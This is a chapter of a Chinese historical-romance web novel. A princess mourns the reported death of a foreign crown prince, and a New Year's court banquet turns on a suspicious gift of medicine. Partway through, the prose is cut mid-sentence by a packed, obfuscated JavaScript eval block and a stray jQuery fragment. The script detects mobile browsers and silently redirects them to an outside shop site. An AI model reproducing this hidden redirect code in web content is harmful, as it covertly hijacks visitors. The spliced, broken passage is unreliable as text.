听了曲萧和一番抱怨,林安长公主和萧风笙不禁笑了起来。
“听起来萧和倒是个有主意的。不知是哪家的女郎能入的了我们萧和的眼啊……”林安长公主拈起一支箭把玩起来,有意无意地说道。
萧风笙刚想打岔,却被林安长公主瞪了一眼,噎下了嘴边的话。
曲萧和心里想着风雪鸢,可脸上却是愁云密布。今日好不容易溜出府,他本该去找风雪鸢,可亓凌风骤然离世,他伤心叹息之余,倒是不知该如何面对风雪鸢,该不该告诉她如何告诉她。
“眼下边境不安,前途未卜,萧和身为南风儿郎,怎能不顾家国安危而去想儿女情长。魏参以此为托词,不知葫芦里卖了什么药,想把哪家的女郎塞到我曲家吧。”
林安长公主这一生见过的大风大浪何止于儿女情长,轻描淡写道:“这有什么,你若已有心上之人,赶在魏参前面向陛下坦白求娶,不就行了?”
曲萧和抿着嘴低下了头,风雪鸢对亓凌风的情谊他是知道的,如今他若是再对风雪鸢表明心意,倒是显得有些趁人之危了。
林安长公主见曲萧和默不作声,便也没再挑破他和风雪鸢私下来往之事,只又玩了几局投壶作罢。
离开萧府,曲萧和心里纠结要不要去找风雪鸢,可他手里的缰绳却鬼使神差地带着马儿往北出城而去。
城外皇陵附近,风雪鸢正在井口排队等着打水,前面的几个婆妇叽叽喳喳地说个不停。
“听说边境又要起战事了,这世道怕是不太平咯。”
“我听在宫里当差的表兄说,大齐易了主,元帝听闻他们太子的死讯,竟一病不起驾鹤西去,墉王已名正言顺地登基了。”
“哐啷~”
风雪鸢的手一顿,提着的木桶摔在了地上,惹得周围人纷纷投来异样的目光。
前面说话的婆妇也安静下来,转身看到是风雪鸢,往前挪了挪步子,压低声音说:“真是晦气!”
风雪鸢不敢相信刚才所听,一把抓住那婆妇的胳膊。
那婆妇虽然嘴上厉害,但被这所谓的妖孽抓了胳膊,生怕自己沾惹上什么不干净地东西,吓得张牙舞爪地推开了风雪鸢。
“你们刚才说什么?大齐太子怎么了?”风雪鸢拽着那老妪的衣服追问道。
那婆妇节节后退,挣脱开风雪鸢,“你…你别动手啊,我说的可都是宫里的消息,绝对保真,可不是你个不祥的公主应该打听的事。”那老妪扑了扑刚才被风雪鸢拽过的衣袖。
风雪鸢没有再问,捡起地上的木桶,一个人怔怔地拖着脚步,顺着乡道漫无目的地走着。
在百草堂与亓凌风相处的事,仿佛就发生在昨天,那个人,那张脸,在她的心里还那么清晰,却已不存在于这个世上。
这段感情,尚未开始,就已结束于阴阳两隔。
天空阴暗,北风阴湿,风雪鸢抱着双臂,抽了抽鼻子。
身后一阵马蹄声传来,“吁—”停在了风雪鸢身边。
“鸢儿!鸢儿!”
曲萧和叫了好几声,风雪鸢才愣过神来。眼见面前是曲萧和,风雪鸢的眼泪如断了线的珍珠,一颗一颗瞬间滑落下来。
“萧和哥哥……”风雪鸢的声音略带责备,哭着说道,“你肯定早就知道了凌风公子身亡的消息,你为何不早告诉我……”
曲萧和跳下马,手足无措,恨不得捂住风雪鸢的眼睛好让眼泪不再往外流,支支吾吾道:“边境不平,这些日子实在是忙于军务抽不开身…也是不知道该怎么跟你开口。”
曲萧和的目光落在风雪鸢梨花带雨的面庞上,“其实……在百草堂时,我便知你对凌风兄的心意,如今他骤然离世,我担心你……”
“萧和哥哥,”风雪鸢抽了一下鼻子,带着哭腔道:“抛开我想利用与凌风公子联姻一事回宫待嫁,好查明我母妃之死真相这一点私心,我对凌风公子…还是有些真心的。他温文尔雅,文武双全,若和亲能得此郎君,也算是我这种不得宠的公主烧几辈子高香的了。可奈何他身为大齐太子,已有婚约,阿公说什么也不许我嫁入大齐东宫为妾,我只得作罢。可这感情,已经在心底埋了种子,哪怕这种子刚萌芽便被砍去,哪怕与他阴阳两隔,可这种子,到底是在心里生了根……”
曲萧和不知该如何安慰风雪鸢,生死面前,仿佛此刻所有的言语都已苍白无力。他想告诉风雪鸢,他对她的情谊不比她对亓凌风的少,可又怕这样说会给风雪鸢带来压力。他想劝风雪鸢忘记亓凌风,可他知道这样的话在这样的时候只能变成伤人的刀刃。
一番纠结过后,曲萧和缓缓开口:“鸢儿,我知道现在说什么都没用,只能让时间来慢慢愈合那种子生根而裂开的血肉。鸢儿,你若是想哭,便痛快地哭吧,我陪你。”
“萧和哥哥……”风雪鸢在曲萧和面前再也忍不住,放声大哭。
曲萧和抬手轻轻地将风雪鸢的头靠在自己的肩上,眼泪亦忍不住滴落下来。他与亓凌风比武练剑,对酒当歌,又何尝不似发生在昨日。
人生难得一知己兄弟,却是天妒英才,时乖命蹇。
曲萧和肩头阴湿了一大片,许久,风雪鸢的哭声才渐渐平息,抬起头来怔怔说道:“我知道,逝者已逝,生者还要继续新的生活。以后,我还会再遇到其他的儿郎,会跟他相守一生,但此时此刻,我别无他想。萧和哥哥,你说的对,就让时间慢慢抚平这道伤疤吧……”
曲萧和点了点头,心里默默说道:鸢儿,我会一直在你身边,等你慢慢忘记这一切,敞开心扉接纳新的人……
风雪鸢回到守陵人小屋时,眼睛哭得如核桃一般肿。柴婆见状,没有说话,端来一盆凉水,浸了手帕,递给了风雪鸢。
风雪鸢接过帕子敷在眼睛上,问柴婆:“柴婆,你都不问我为什么哭吗?”
“你什么事能瞒得住婆婆,听林伯讲你们在百草堂的事,婆婆就猜出了一二分。何况你日日抱着这本《阳庭南北山水注》翻来翻去地看,婆婆还能不知道吗?如今南风和大齐边境摩擦不断,大齐那边的事在庄子上传得沸沸扬扬的,婆婆也听说了些。”
风雪鸢没有说话,眼角又流出了两行泪。
柴婆脸上尽是心疼,摸着风雪鸢的头发,轻声说道:“世间的事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214660|142952||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,就是这么无常。最终能走到一起的夫妻,那都是修了上百年才修来的缘分,可遇不可求。亓公子英年早逝,你对他的感情永远停留在最美好的阶段。若是相处久了如老夫老妻般,只剩下互相嫌弃的份了。他在你心里永远都是你记忆中最美好的样子,也算是一份幸事啊。”
风雪鸢想着柴婆的话,一时也无法真正接受。柴婆知道需要给她些时间,便没有再说话,只默默地抱着她,坐了一夜。
当天顺二十三年腊月三十的月亮升起,泰康城内外一片祥和安乐。物产丰富,气候宜人,得天独厚的地理条件让南风人在连年的盈车嘉穗中逐渐安逸起来。
按照惯例,顺帝在万圣宫宴请百官,共度除夕。
“众爱卿,”顺帝举起手中的酒杯,花椒酒的香气在大殿上蔓延开来,“静宁见春,一愿上天风调雨顺,二愿南风海晏河清,三愿百姓丰衣足食,天佑我南风。”
文武百官与王爷嫔妃们也一起举杯,众人纷纷贺道:“恭贺陛下。”
司天台副使魏参率先起身祝酒:“陛下,臣夜观星象,南朱雀七宿中柳土獐与张月鹿二星隐隐可见紫光,柳宿居朱雀之嘴,张宿居朱雀身体与翅膀连接处,嘴为进食,翅为飞翔,主大吉,预示我南风来年定能仓廪实,衣食足,国泰民安。”
顺帝大喜,接连喝了好几杯酒,已有几分醉意。
“陛下,多年不见,别来无恙。”一个陌生的声音从殿前传来。顺帝眯着眼,寻着声音看向这位头发花白,声音略微尖锐的老人,一时想不起是谁。
贺皇后察觉到了顺帝的迟疑,举起酒杯提醒到顺帝:“宁侯不远万里来到泰康,别来无恙啊。”
顺帝这才想起,因为通仙殿失火一事,他一道旨意让宁侯从阳庭郡赶回了泰康。
“啊宁侯爷,这么些年不见,朕真是十分想念。这些年,宁侯的腿疾可好些了?从阳庭来泰康路途遥远,宁侯不妨多住一阵子,待阳庭春暖花开了再回去也不迟。”
宁侯说道:“腿疾已是老毛病了,这么些年都习惯了。臣得了陛下恩典,可回泰康过年,心里不胜感激,启程之时特意去百草堂在阳庭开设的药馆,讨了一味西域秘药,献给陛下。”
顺帝眉毛一挑:“哦?西域秘药?”
“此药源自西域宫廷,经百草堂提炼改良后,做成了这龙阳丹。”
曲萧和本心不在焉,对这种虚情假意的宴请极为厌烦,但听到了“百草堂”时,还是不觉一颤,猛得抬起了头。
宁侯被顺帝一道旨意喊回泰康,就是因为通仙殿纵火之人李德全的父母死于西域弯刀之下。百草堂,西域秘药,看似这只是一颗小小的药丸,但却将百草堂和西域联系到了一起。
顺帝看着宁侯进献的药丸,背后一阵发麻。本以为通仙殿失火的幕后之人是宁侯,可这一颗药丸,又将百草堂择了进来。
这样一来,宁侯身上的嫌疑倒是被百草堂分走了大半。毕竟宁侯在阳庭好好的,费这个劲烧通仙殿作甚,倒是叶玄明不满通仙殿里没有叶妃的牌位,嫌疑更大。
百草堂这根刺,在顺帝心里是越扎越深。